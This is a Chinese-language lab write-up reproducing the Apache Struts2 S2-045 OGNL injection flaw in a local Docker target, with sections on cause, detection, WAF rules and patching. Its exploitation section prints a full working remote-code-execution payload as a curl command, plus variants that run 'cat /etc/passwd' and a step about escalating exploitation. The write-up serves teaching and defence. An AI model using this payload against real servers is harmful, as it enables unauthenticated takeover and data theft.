写在前面:合法学习边界
本文复现只在本机 Docker 靶场进行。Struts2 漏洞利用可能触犯法律,禁止对真实目标使用。请先搭建隔离的靶机环境。
一、漏洞原理
S2-045 是 Apache Struts2 处理 Content-Type 头时的 OGNL 表达式注入漏洞。
成因链路:
1
2
3
| 1. 请求头 Content-Type 被传给上传组件解析
2. 组件在解析失败时,把错误信息拼进 OGNL 表达式
3. OGNL 表达式被当作代码执行
|
漏洞本质:不可信输入(Content-Type)进入了表达式解析流程,被当成了代码而不是数据。
影响版本:
1
2
| Struts2 2.3.5 – 2.3.31
Struts2 2.5 – 2.5.10
|
二、漏洞影响与危害
攻击者无需认证,只要发送一个恶意 Content-Type 头就能:
1
2
3
4
| 在服务器上执行任意系统命令(RCE)
读取敏感文件
横向渗透内网
配合内网漏洞提权
|
风险等级:严重(CVSS 10.0)。这是可以直接拿到服务器控制权的漏洞,也是早期护网和红队的高频入口。
三、漏洞利用 / 复现
环境准备
1
| docker run -d -p 8080:8080 --name s2-045 xlfe/s2-045
|
访问 http://127.0.0.1:8080/ 确认靶场正常返回上传页面。
验证漏洞
1
2
| curl -i -X POST http://127.0.0.1:8080/doUpload \
-H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
|
如果响应里出现命令执行结果(如 uid=0(root)),说明漏洞存在。
利用要点
把 Payload 里的 #cmd='id' 换成要执行的命令:
1
2
3
| #cmd='whoami'
#cmd='cat /etc/passwd'
#cmd='id && whoami'
|
常见失败原因:
1
2
3
4
| 前面有 WAF 拦截
目标不是 multipart 上传接口
目标版本已修复
Content-Type 被转义或长度限制
|
复现操作步骤
1
2
3
4
| 第 1 步:指纹确认 Struts 2 版本
第 2 步:对上传接口发恶意 Content-Type(OGNL payload)
第 3 步:看响应是否回显命令(uid=)—— 回显即 S2-045 确认
第 4 步:换命令验证并升级利用
|
四、漏洞检测
1
2
3
4
| 抓请求,看 Content-Type 是否异常长、是否含 %{ 或 OGNL 关键字
查 Web 日志中大量 /doUpload 与 500 错误
看响应是否返回非业务内容(命令输出特征)
用 Nmap/指纹确认 Struts2 版本
|
五、漏洞防御
1
2
3
4
| 上传接口单独加固、限制大小
WAF 拦截 Content-Type 中的 %{ 与 OGNL 关键字
对 OGNL 相关关键字做统一过滤
监控异常响应与异常请求体
|
六、漏洞修复
1
2
3
4
| 升级 Struts2 到 2.5.10.1 及以上(最根本)
确认 Maven/依赖里所有 Struts2 版本一致
升级后回归上传功能
禁止内网继续使用老版本中间件
|
修复后建议用同款 payload 复测,确认命令不再被执行。
七、小结
S2-045 的教训:框架版本必须及时更新;任何把用户可控头拼进表达式解析的组件都可能成为 RCE 入口。同时记住,识别框架版本是信息收集的关键,因为它直接决定了利用链。